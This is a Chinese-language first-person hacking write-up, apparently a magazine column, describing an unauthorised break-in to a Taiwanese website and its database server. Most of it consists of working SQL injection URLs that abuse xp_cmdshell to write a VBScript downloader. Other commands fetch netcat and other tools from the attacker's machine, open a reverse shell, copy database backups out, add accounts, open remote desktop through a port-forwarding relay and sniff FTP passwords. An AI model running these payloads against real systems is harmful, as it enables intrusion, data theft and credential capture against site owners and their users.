入侵过程中的简单任务

很久没有入侵了，手有点痒，随便逛了几个tw的网站想找一个有点的价值的网站玩玩，于是找到了这个网站。 习惯性的，在“报名账号”处填入了一个单引号，返回了如下信息： sql server 的 microsoft ole db 提供者 (0x80040e14) 遗漏字符字符串 ''' 前面的引号。 /rdshow/modify.asp, line 5 看来是存在注入漏洞的，来看看权限如何。继续在登陆口输入’ and user>0 and ‘’=’，问题出现了：无法完整输入。看来网页对输入长度做了限制，这个难不到我。保存网页，将网页的源代码更改两个地方，一处是action＝modify.asp改为action＝ [url=http://www.xxx.org.tw/rdshow/modify.asp]http://www.xxx.org.tw/rdshow/modify.asp[/url] ，还有一处就是把输入字符的长度改大，也就是maxlength＝10改为100，这下可以不受限制的随便输入了。将刚才的代码完整输入后得到以下信息： sql server 的 microsoft ole db 提供者 (0x80040e07) 将 nvarchar 数值 'dbo' 转换成数据型别为 int 的数据行语法错误。 /rdshow/modify.asp, line 5 看来有戏，但是这样注入太麻烦了。再看看网页的源代码，如果将这个注入漏洞转化成url的形式，这样注入就方便多了。同时转化后还有一个很好的优点，就是可以使用nbsi之类的注入工具，大大简化了我们的注入过程。转化后的url为 [url=http://www.xxx.org.tw/rdshow/]http://www.xxx.org.tw/rdshow/[/url] modify.asp？bidno=f**k。现在web和sql的主机分开的情况很多，首先我们还是先看看数据库的ip地址吧。打开天网，然后在ie提交： [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k’;exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k’;exec[/url] master.dbo.xp_shell’ ping myip’;-- 从天网的报警日志看出数据库的ip地址为210.208.xxx.253，再ping [url=http://www.xxx.org.tw]www.xxx.org.tw[/url] ，得到的ip地址却为210.208.xxx.32，看来数据库和web服务器不是同一台主机，但是从ip分布来看，这两台主机处于同一个网段，理论上只要我们能攻占下数据库主机，要渗透到web服务器也不是难事（后来证明确实如此）。到了这一步，还是先用superscan扫描一下数据库主机开了些什么端口吧。 小提示：先对数据库服务器扫描的好处有很多，比如可以探测对方是否开了防火墙，是否有ftp或者web服务，这样才能确定下一步该怎么注入。 扫描的结果是数据库有防火墙，我的想法是先上传一个nc上去，先得到一个反向的shell再说。我尝试了很多方法才传上去，先用tftp没有成功，ftp也没有成功。如果数据库有web服务的话还可以写入一个webshell，可惜没有。没有办法，只好写iget.vbs（脚本小子：广告时间！黑防上个月开放的下载系统中有下载，地址是 [url=http://www.hacker.com.cn/downweb/index.asp]www.hacker.com.cn/downweb/index.asp[/url] ，里面还有一些小东西也挺不错，欢迎大家下载使用，并推荐你觉得功能上有特点的程序），然后让对方下载我web服务器上的nc。好，决定后就这样做，继续在ie提交： [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo ilocal = lcase(wscript.arguments(1)) > c:\winnt\system\p.vbs';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo iremote = lcase(wscript.arguments(0)) >> c:\winnt\system\p.vbs';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo set xpost = createobject("microsoft.xmlhttp") >> c:\winnt\system\p.vbs';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo xpost.open "get",iremote,0 >> c:\winnt\system\p.vbs';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo xpost.send() >> c:\winnt\system\p.vbs';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo set sget = createobject("adodb.stream") >> c:\winnt\system\p.vbs';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo sget.mode = 3 >> c:\winnt\system\p.vbs';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo sget.type = 1 >> c:\winnt\system\p.vbs';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo sget.open() >> c:\winnt\system\p.vbs';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo sget.write(xpost.responsebody) >> c:\winnt\system\p.vbs';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo sget.savetofile ilocal,2 >>c:\winnt\system\p.vbs';-- 现在把nbsi2请出来，用其自带的nb command命令执行器查看vbs是否写入成功（用nb treelist目录列表工具也可以，不过要等半天才能等到结果，我的性子急，所以选择了前者）。 可以看出vbs生成成功了，现在我们可以用这个vbs去下载后门木马之类的东西了。话不多说先把tlist，nc，kill传上去再说，继续在ie提交如下url： [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell 'c:\winnt\system\p.vbs [url=http://myip/nc.exe]http://myip/nc.exe[/url] nc.exe';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell 'c:\winnt\system\p.vbs [url=http://myip/kill.exe]http://myip/kill.exe[/url] kill.exe';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell 'c:\winnt\system\p.vbs [url=http://myip/tlist.exe]http://myip/tlist.exe[/url] tlist.exe';-- 现在我们可以利用上传的nc得到一个反向的shell了，先在本机用nc监听8000端口： nc.exe –l –v –p 8000 然后在ie输入： [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell 'c:\winnt\system\nc.exe –e cmd.exe myip 8000 ';-- 这样我们就获得了一个cmdshell了。 为什么我要上传tlist呢？因为我想知道对方用的是什么杀毒软件，这样我们才能做到有的放矢，不至于我们上传的东东全部被查杀。上传tlist还有一个原因就是刚刚开始我在绕过对方的防火墙时调用了ftp，为了不让对方怀疑，我必须把它kill掉，所以也得上传tlist来看看pid号。tlist的结果是对方用的诺顿。 小提示：获取对方系统的杀毒软件对后面的入侵是很有帮助的，因为不同的杀毒软件对不同的黑软定义的特征码是不一样的，也就是说某些黑软不被金山查杀，不代表可以瞒过诺顿，反之一样。 晕了，我菜，只会找瑞星的特征码，诺顿的找不出来，想传几个反弹木马上去的想法放弃了。上去溜了一圈发现d盘下面有不少数据库的备份，我喜欢，先down下来再说。但新的问题又来了，tftp和ttp不能用，对方又有硬件防火墙，而iget.vbs又只能下载，没有办法上传东西，反弹木马可以实现上传但对方又有杀毒软件……现在我的思路开始陷入困境，正在我一筹莫展的时候我想到了饭哥，他应该有点好东东可以解决我的这个问题吧？把大概情况给他说了之后，他仰天大笑三声之后给了我一个他自己写的小工具：httpput，这个工具可以将对方的文件传到自己的电脑上来，简单方便。使用方法为： useag:e:\httpput.exe [url] [putfilepath] sample:e:\httpput.exe [url=http://hostname/images/]http://hostname/images/[/url] c:\p.txt 先传了几个word文件，一切正常，但是当我传到后面较大的数据库文件时却发现不太稳定，shell很容易挂掉，尝试了很多次都这样（汗，这时进程里面多了x个cmd.exe，幸好我上传了tlist和kill，把那些挂了的cmd一个一个地kill掉）。 又一次陷入了困境，我本来想再去各大黑客网站找最新的反弹木马，但是老天偏偏和我作对，找了半天都找不到一个满意的。就在我快绝望的时候我的眼前突然一亮：nc不就可以突破防火墙传文件吗？不然怎么叫瑞士军刀？看来我是骑驴找驴了。在nc的高级应用里面就有传文件的方法，具体命令如下： nc －vv -l -p port > pathfile　　 nc -d myip port 然后用winrar将所有文件（5个）打包为自解压的exe，并将“高级自解压选项”->“解压后运行”设置为_wpcap_.bat，命令行的winpcap安装包就制作完成了。 以上方法只是给大家参考，此时我已经有了另外的更加简单方便的思路，就是给数据库的主机开终端服务，这样无论是传东西还是继续向内网的渗透都会方便很多。大家也许会问即使你有权限添加账号能开终端服务，但是对方有防火墙你怎么连接啊。呵呵，这个问题其实很好解决，相信大家都知道vidc类软件吧，这类软件的作用就是将内网的端口映射到公网的ip端口上来，这样我们只需要连接公网的ip就可以连接到内网去了。在这里我用的是yyc写的vidc软件的修改版， 小知识：yyc写的vidc软件的修改版分客户端和服务器端，服务器端idc.exe在具有公网ip的肉鸡上运行，使用默认8080端口通信。 直接在肉鸡运行就ok了，客户端vidcc.exe、vidcc.dll，xl.ini文件，按ini文件里的配置自动连接绑定端口，ini的内容如下： serverip＝公网ip serverport＝8080 cip＝127.0.0.1 bport=21|80|3389 yport=7779|7776|7778 先还是用iget.vbs将这些东西传上去，然后在cmdshell里面添加一个账号，然后写一个bat开启3389，等电脑重启之后再上去运行vidcc.exe。ok大功告成，我们只要登陆肉鸡的7778端口就可以访问内网数据了。 呵呵，现在我们可以在图形界面下安装winpcap了，我们已经完全控制了数据库，但是任务还没有完，我们先看看能不能嗅探到web服务器的信息。先执行下面的命令： tracert 210.208.xxx.32（web服务器的地址） 看看返回结果看来有戏，三下五除二装好winpcap，然后开始arpsniffer，嗅探的命令为： usage: arpsniffer [/reset] 在这里我监听的是21端口，命令如下： arpsniffer 210.208.xxx.1 210.208.xxx.32 21 c:\winnt\system\pass.txt 1 接下来就是等待了，不过臭要饭的急着催文章，所以文章截至时还没有结果，如果大家有兴趣的话，下期我再告诉大家。这次简单任务也该结束了，下期见！